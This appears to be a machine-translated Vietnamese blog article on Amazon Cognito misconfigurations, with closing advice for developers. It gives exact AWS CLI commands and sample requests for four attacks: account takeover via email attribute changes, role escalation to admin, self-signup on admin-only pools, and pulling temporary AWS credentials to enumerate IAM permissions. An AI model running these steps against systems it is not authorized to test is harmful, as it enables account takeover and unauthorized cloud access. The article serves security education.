Amazon cognito cấu hình sai
được viết bởi M ohamed Lakhdar Metidji
Trong những năm gần đây, Amazon Web Services (AWS) đã trở thành một lựa chọn phổ biến cho các doanh nghiệp muốn lưu trữ các ứng dụng web của họ trên đám mây. Một trong những dịch vụ AWS được sử dụng rộng rãi nhất là Amazon Cognito, một dịch vụ quản lý danh tính và xác thực người dùng. Tuy nhiên, một phiên bản Amazon Cognito bị định cấu hình sai có thể khiến dữ liệu nhạy cảm của người dùng bị lộ, có khả năng dẫn đến vi phạm dữ liệu và các rủi ro bảo mật khác.
đầu tiên
Amazon Cognito là gì?
Amazon Cognito là một dịch vụ được quản lý hoàn toàn từ AWS, cung cấp dịch vụ xác thực, ủy quyền và quản lý người dùng cho các ứng dụng web và di động. Nó cho phép các nhà phát triển dễ dàng thêm tính năng đăng ký, đăng nhập và kiểm soát quyền truy cập của người dùng vào ứng dụng của họ, cũng như tích hợp với các nhà cung cấp danh tính bên thứ ba như Facebook, Google và Amazon. Amazon Cognito cũng hỗ trợ xác thực đa yếu tố và đồng bộ hóa dữ liệu người dùng trên các thiết bị.
Làm thế nào nó hoạt động?
Amazon Cognito bao gồm hai thành phần chính:
- 1. Nhóm người dùng : Thành phần này cung cấp chức năng đăng ký, đăng nhập và xác thực người dùng cho các ứng dụng web và di động. Nhóm người dùng cho phép bạn tạo và duy trì thư mục người dùng, tùy chỉnh quy trình xác thực và tích hợp với các nhà cung cấp danh tính bên thứ ba.
JWT này được ký bằng thuật toán RS256 . Thuật toán này bao gồm một khóa riêng được sử dụng để ký tải trọng và một khóa chung được sử dụng để kiểm tra tính hợp lệ của tải trọng.
- 2. Nhóm nhận dạng: Thành phần này cho phép bạn cấp quyền truy cập tạm thời, có giới hạn vào tài nguyên AWS của mình cho những người dùng đã xác thực thông qua nhóm người dùng, nhà cung cấp nhận dạng xã hội hoặc nhà cung cấp nhận dạng bên thứ ba khác. Nhóm danh tính cho phép bạn kiểm soát quyền truy cập vào tài nguyên của mình dựa trên danh tính người dùng và cung cấp quyền truy cập liền mạch và an toàn vào các dịch vụ AWS cho người dùng đã xác thực.
Thật là một cấu hình sai trong Amazon Cognito?
Cấu hình sai trong Amazon Cognito đề cập đến các lỗi hoặc sơ sót được thực hiện trong quá trình cấu hình dịch vụ, có thể dẫn đến các lỗ hổng bảo mật. Những cấu hình sai này có thể cho phép truy cập trái phép vào tài khoản người dùng hoặc dữ liệu nhạy cảm, làm tổn hại đến tính bảo mật hoặc tính toàn vẹn của dữ liệu và làm tổn hại danh tiếng của tổ chức. Ví dụ về cấu hình sai trong Amazon Cognito bao gồm Kiểm soát truy cập không phù hợp, Thiếu ủy quyền, Quyền dữ liệu người dùng bị định cấu hình sai, Thiếu xác thực đa yếu tố, v.v.
Trong bài viết này, tôi sẽ viết một ví dụ về các cấu hình sai phổ biến của Amazon Cognito:
Định cấu hình sai để tiếp quản tài khoản không nhấp chuột:
Cập nhật thuộc tính email trước khi xác minh
LÀM SAO ?
Flickr sử dụng Amazon Cognito để triển khai chức năng đăng nhập.
Quy trình được bắt đầu tại Identity.flickr.com. Thông qua JavaScript, thông tin đăng nhập của người dùng cuối được gửi đến cognito-idp.us-east-1.amazonaws.com, phản hồi bằng mã thông báo. Cuối cùng, những mã thông báo này được chuyển tiếp đến www.flickr.com.
Thông tin đăng nhập Amazon Cognito triển khai một biến thể được sửa đổi một chút của OpenID Connect. Nếu bạn đã quen thuộc với giao thức đăng nhập một lần này, bạn sẽ nhận ra Auth. Yêu cầu và xác thực. Phản ứng:
####
Máy chủ POST / HTTP/2
: cognito-idp.us-east-1.amazonaws.com
[…]
{
“AuthFlow”:”USER_PASSWORD_AUTH”,
“ClientId”:”3ck15************ **",
“AuthParameters”:{
“USERNAME”:” kẻ tấn công @flickr.com ”,
“PASSWORD”:”[DỮ LIỆU BỊ GIẤU]”,
“DEVICE_KEY”:”us-east-1_070[…]”
},
“ClientMetadata” :
{
}
}
####
Nếu thông tin đăng nhập được cung cấp hợp lệ, Cognito sẽ phản hồi bằng mã thông báo:
####
HTTP/2 200 OK
[…]
{
“AuthenticationResult”:
{
“AccessToken”:”[REDACTED]”,
“ExpiresIn”:3600,
“IdToken”:”[REDACTED]”,
“RefreshToken”:”[REDACTED]”,
“TokenType”:”Bearer”
},
“ChallengeParameters”:
{
}
}
####
Flickr sử dụng nhóm người dùng để tổ chức người dùng của họ. Bằng cách sử dụng access_token với công cụ AWS CLI , chúng tôi có thể kiểm tra hành động nào thuộc phạm vi mã thông báo của mình.
Sử dụng API, một người có thể thay đổi một số thuộc tính người dùng — bao gồm cả địa chỉ e-mail được liên kết:
thông qua lệnh này:
$ aws cognito-idp update-user-attributes — khu vực chúng tôi-đông-1 — access-token eyJraW****** — user-attributes ' Tên=email, Giá trị= nạn nhân-email @email.com
Để hoàn thành việc chiếm đoạt tài khoản, nhà nghiên cứu đăng nhập bằng địa chỉ email độc hại, trông giống nhau và mật khẩu của kẻ tấn công .
Báo cáo đầy đủ: https://hackerone.com/reports/1342088
AWS đã giới thiệu một cấu hình bảo mật mới để giảm thiểu sự cố này, vì vậy nếu bạn đã bật tùy chọn Giữ giá trị thuộc tính ban đầu khi bản cập nhật đang chờ xử lý được bật rõ ràng thì thuộc tính email sẽ không được cập nhật thành địa chỉ email mới cho đến khi nó được xác minh.
Đây là cấu hình bảo mật mới chỉ được giới thiệu sau tháng 6 năm 2022, nghĩa là nhiều ứng dụng vẫn có thể bị định cấu hình sai
Cấu hình sai để leo thang đặc quyền:
Leo thang đặc quyền thông qua các thuộc tính người dùng có thể ghi:
Trong ngữ cảnh của AWS Cognito, việc leo thang đặc quyền thông qua các thuộc tính người dùng có thể ghi có thể xảy ra nếu người dùng có thể sửa đổi các thuộc tính của chính họ theo cách cấp cho họ các quyền bổ sung ngoài những gì họ được phép có.
LÀM SAO?
Ví dụ: quản trị viên mời người dùng và chỉ định vai trò của người dùng đó là người đọc, sau đó gửi lời mời đến email của họ, nếu người dùng là kẻ tấn công và thay đổi vai trò của mình thành quản trị viên thì sao?
bằng các bước tương tự của ví dụ cũ 'Flickr', bằng cách sử dụng access_token với công cụ AWS CLI , chúng tôi có thể kiểm tra hành động nào thuộc phạm vi mã thông báo của chúng tôi.
Sử dụng API, một người có thể thay đổi một số thuộc tính của người dùng — bao gồm vai trò.
Giả sử siêu dữ liệu của người dùng trông như thế này:
####
{
“Tên người dùng”: “e2[…]”,
“UserAttributes”: [
{
“Tên”: “phụ”,
“Giá trị”: “e28[…]”
},
{
“Tên”: “vai trò”,
“Giá trị” : “reader”
},
{
“Name”: “email_verified”,
“Value”: “true”
),
{
“Name”: “email”,
“Value”: “ [email protected] ”
}
]
}
####
Người dùng có thể thay đổi vai trò của mình từ người đọc thành quản trị viên thông qua lệnh này bằng công cụ AWS CLI :
$ aws cognito-idp update-user-attributes — khu vực chúng tôi-đông-1 — access-token eyJraW****** — user-attributes ' Tên=vai trò,Giá trị= quản trị viên
khi bạn kiểm tra lại bằng hành động GetUser đơn giản này thông qua lệnh này:
$ aws cognito-idp get-user — khu vực chúng tôi-đông-1 — mã thông báo truy cập eyJr********
siêu dữ liệu của bạn sẽ trông như thế này:
####
{
“Tên người dùng”: “e2[…]”,
“UserAttributes”: [
{
“Tên”: “phụ”,
“Giá trị”: “e28[…]”
},
{
“Tên”: “vai trò”,
“Giá trị” : “admin”
},
{
“Name”: “email_verified”,
“Value”: “true”
),
{
“Name”: “email”,
“Value”: “ [email protected] ”
}
]
}
####
Bỏ qua xác thực do hành động API đăng ký đã bật:
Các ứng dụng không cung cấp đăng ký người dùng và chỉ hỗ trợ cung cấp tài khoản quản trị có thể dễ bị tổn thương nếu chúng không tắt đúng cách API đăng ký có thể gặp rủi ro bị kẻ tấn công tạo tài khoản trái phép. Điều này có thể đặc biệt nguy hiểm đối với cổng đăng nhập của quản trị viên sử dụng AWS Cognito, vì kẻ tấn công có thể bỏ qua xác thực và giành quyền truy cập vào thông tin nhạy cảm hoặc thực hiện các hành động trái phép.
LÀM SAO?
Điều này bao gồm các cổng đăng nhập quản trị viên triển khai AWS cognito cho phép bỏ qua xác thực.
trong ví dụ này, không có đăng ký để tạo tài khoản vì chỉ quản trị viên mới có thể đăng nhập
Khi tạo nhóm người dùng mới, tính năng tự đăng ký có thể được bật theo mặc định, cho phép người dùng tự đăng ký tài khoản.
kẻ tấn công chỉ cần ID khách hàng và khu vực để kiểm tra khả năng tự đăng ký.
Kẻ tấn công có thể đăng ký thông qua lệnh này bằng công cụ AWS CLI :
đăng ký $ aws cognito-idp — client-id <client-id> — tên người dùng <email-address> — mật khẩu <mật khẩu> — vùng <vùng>
đăng ký thành công trông như thế này:
###
{
“CodeDeliveryDetailsList”:[
{
“Destination”:”m***@w***”,
“DeliveryMedium”:”EMAIL”,
“AttributeName”:”email”
}
]
}
###
Trong trường hợp tự đăng ký thành công, mã xác nhận gồm 6 chữ số sẽ được gửi đến địa chỉ email của kẻ tấn công.
kẻ tấn công có thể xác nhận tài khoản thông qua lệnh này:
$ aws cognito-idp xác nhận-đăng ký — client-id <client-id> — tên người dùng <email-address> — mã xác nhận <mã xác nhận> — vùng <vùng>
Tìm nạp thông tin đăng nhập AWS tạm thời bằng người dùng đã xác thực:
Tìm nạp thông tin đăng nhập AWS tạm thời bằng cách sử dụng người dùng đã xác thực bao gồm việc sử dụng Dịch vụ mã thông báo bảo mật AWS (STS) để tạo thông tin đăng nhập tạm thời cho vai trò IAM với các quyền cần thiết để truy cập tài nguyên AWS. Cần triển khai các biện pháp bảo mật phù hợp để đảm bảo rằng người dùng có các quyền cần thiết, đồng thời phải có các biện pháp kiểm soát truy cập và nhật ký kiểm tra để giám sát và theo dõi quyền truy cập vào tài nguyên AWS bằng thông tin xác thực tạm thời.
Để tạo thông tin đăng nhập AWS, chúng tôi cần tìm ID nhóm nhận dạng thường được mã hóa cứng trong mã nguồn, trong tệp JS đi kèm hoặc trong phản hồi HTTP.
● Mã khách hàng
● ID nhóm người dùng
● Vùng
Ví dụ :
khi kẻ tấn công có quyền truy cập vào các thông tin đăng nhập đó
Làm thế nào anh ta có thể khai thác chúng?
Kẻ tấn công có thể sử dụng ID nhận dạng trước đó để tạo thông tin đăng nhập AWS. Sử dụng AWS Cli như sau
$ aws cognito-identity get-credentials-for-identity — id nhận dạng <id nhận dạng> — vùng <vùng>
siêu dữ liệu trông giống như
###
{
“IdentityId”: “us-west-2:*********”,
“Thông tin xác thực”: [
{
“AccessKeyId”: “******”,
“SecretKey”: “*** ******”,
“SessionToken”: “*********”
}
]
}
###
Giờ đây, kẻ tấn công có thể liệt kê các quyền được liên kết với các thông tin xác thực này bằng một công cụ như:
liệt kê-iam :https://github.com/andresriancho/enumerate-iam
Bộ hướng đạo :https://github.com/nccgroup/ScoutSuite
$ ./enumerate-iam.py — khóa truy cập <AccessKeyID> — khóa bí mật <SecretKey> — mã thông báo phiên <SessionToken>
Phần kết luận
Đây là một số vấn đề nghiêm trọng và phổ biến về cấu hình Amazon cognito đã được xác định và có thể được giải quyết bằng nhiều giải pháp khác nhau.
Hướng dẫn dành cho nhà phát triển:
- Đảm bảo loại bỏ mọi thông tin nhạy cảm, chẳng hạn như Id nhóm nhận dạng Cognito, khỏi các phản hồi do máy chủ gửi.
- Nếu không cần thiết, hãy tắt tính năng Đăng ký trên AWS Cognito.
- Nếu không sử dụng nó, hãy tắt vai trò chưa được xác thực.
- Kiểm tra chính sách IAM được liên kết với cả vai trò được xác thực và chưa được xác thực để đảm bảo rằng chỉ cấp quyền truy cập cần thiết tối thiểu.
- Đánh giá tất cả các thuộc tính của người dùng và xóa quyền ghi nếu không cần thiết.
- Hãy nhớ rằng giá trị thuộc tính email có thể chứa địa chỉ email chưa được xác minh

![Dù sao thì một danh sách được liên kết là gì? [Phần 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































